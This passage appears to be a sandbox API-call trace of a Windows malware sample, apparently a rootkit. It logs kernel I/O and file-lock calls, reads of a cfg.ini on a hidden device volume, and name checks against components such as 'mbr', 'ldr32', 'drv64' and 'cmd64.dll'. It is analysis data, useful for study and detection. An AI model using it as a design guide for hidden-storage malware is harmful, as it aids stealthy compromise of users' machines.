KeLeaveCriticalRegion () [0129.497] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.497] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.497] KeEnterCriticalRegion () [0129.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c01000 [0129.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.497] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.498] IdePortDispatch () returned 0x103 [0129.498] KeWaitForMutexObject () returned 0x0 [0129.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.498] IdePortDispatch () returned 0x103 [0129.498] KeWaitForMutexObject () returned 0x0 [0129.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.498] KeLeaveCriticalRegion () [0129.498] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.499] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.499] KeEnterCriticalRegion () [0129.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] KeLeaveCriticalRegion () [0129.499] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.499] KeEnterCriticalRegion () [0129.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.499] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] KeLeaveCriticalRegion () [0129.499] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.499] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.499] KeEnterCriticalRegion () [0129.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] ExFreePoolWithTag (P=0xfffffa8003c045f0, Tag=0x0) [0129.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] KeLeaveCriticalRegion () [0129.499] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.499] ReleaseMutex (hMutex=0xf0) returned 1 [0129.499] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.499] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.499] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.499] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.499] KeEnterCriticalRegion () [0129.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.499] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.499] IdePortDispatch () returned 0x103 [0129.499] KeWaitForMutexObject () returned 0x0 [0129.500] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.500] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.500] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.500] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.500] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.500] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.500] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.500] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.500] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.500] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.500] KeLeaveCriticalRegion () [0129.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.500] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.500] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.500] KeEnterCriticalRegion () [0129.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.500] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.500] IdePortDispatch () returned 0x103 [0129.500] KeWaitForMutexObject () returned 0x0 [0129.500] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.500] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.501] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.501] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.501] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.501] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.501] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.501] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.501] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.501] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.501] KeLeaveCriticalRegion () [0129.501] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.501] ReleaseMutex (hMutex=0x100) returned 1 [0129.501] Sleep (dwMilliseconds=0x2bf20) [0129.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7063ef10, dwHighDateTime=0x1d24fa4)) [0129.508] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.508] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.508] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.508] KeEnterCriticalRegion () [0129.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.508] IdePortDispatch () returned 0x103 [0129.509] KeWaitForMutexObject () returned 0x0 [0129.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.509] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.509] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.509] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.509] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.509] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05b10 [0129.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.509] KeLeaveCriticalRegion () [0129.509] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.509] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.509] KeEnterCriticalRegion () [0129.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.509] KeLeaveCriticalRegion () [0129.509] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.509] KeEnterCriticalRegion () [0129.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.509] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.510] IdePortDispatch () returned 0x103 [0129.510] KeWaitForMutexObject () returned 0x0 [0129.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.510] KeLeaveCriticalRegion () [0129.510] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.510] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.510] KeEnterCriticalRegion () [0129.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.510] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c04000 [0129.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.510] IdePortDispatch () returned 0x103 [0129.510] KeWaitForMutexObject () returned 0x0 [0129.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.510] IdePortDispatch () returned 0x103 [0129.510] KeWaitForMutexObject () returned 0x0 [0129.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.511] KeLeaveCriticalRegion () [0129.511] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.511] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.511] KeEnterCriticalRegion () [0129.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.511] KeLeaveCriticalRegion () [0129.511] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.511] KeEnterCriticalRegion () [0129.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.511] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.511] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.511] KeLeaveCriticalRegion () [0129.511] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.511] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.512] KeEnterCriticalRegion () [0129.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.512] ExFreePoolWithTag (P=0xfffffa8003c05b10, Tag=0x0) [0129.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.512] KeLeaveCriticalRegion () [0129.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.512] ReleaseMutex (hMutex=0xf0) returned 1 [0129.512] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.512] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.512] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.512] KeEnterCriticalRegion () [0129.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.512] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.512] IdePortDispatch () returned 0x103 [0129.512] KeWaitForMutexObject () returned 0x0 [0129.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.512] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.512] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.512] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.512] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.512] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05470 [0129.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.512] KeLeaveCriticalRegion () [0129.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.512] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.512] KeEnterCriticalRegion () [0129.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.513] KeLeaveCriticalRegion () [0129.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.513] KeEnterCriticalRegion () [0129.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.513] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.513] IdePortDispatch () returned 0x103 [0129.513] KeWaitForMutexObject () returned 0x0 [0129.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.513] KeLeaveCriticalRegion () [0129.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.513] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.513] KeEnterCriticalRegion () [0129.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c05000 [0129.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.513] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.513] IdePortDispatch () returned 0x103 [0129.513] KeWaitForMutexObject () returned 0x0 [0129.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.514] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.514] IdePortDispatch () returned 0x103 [0129.514] KeWaitForMutexObject () returned 0x0 [0129.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.514] KeLeaveCriticalRegion () [0129.514] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.514] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.514] KeEnterCriticalRegion () [0129.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.514] KeLeaveCriticalRegion () [0129.514] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.514] KeEnterCriticalRegion () [0129.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.515] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.515] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05530, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.515] KeLeaveCriticalRegion () [0129.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.515] KeEnterCriticalRegion () [0129.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.515] ExFreePoolWithTag (P=0xfffffa8003c05470, Tag=0x0) [0129.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.515] KeLeaveCriticalRegion () [0129.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.515] ReleaseMutex (hMutex=0xf0) returned 1 [0129.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.515] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.515] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.515] KeEnterCriticalRegion () [0129.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 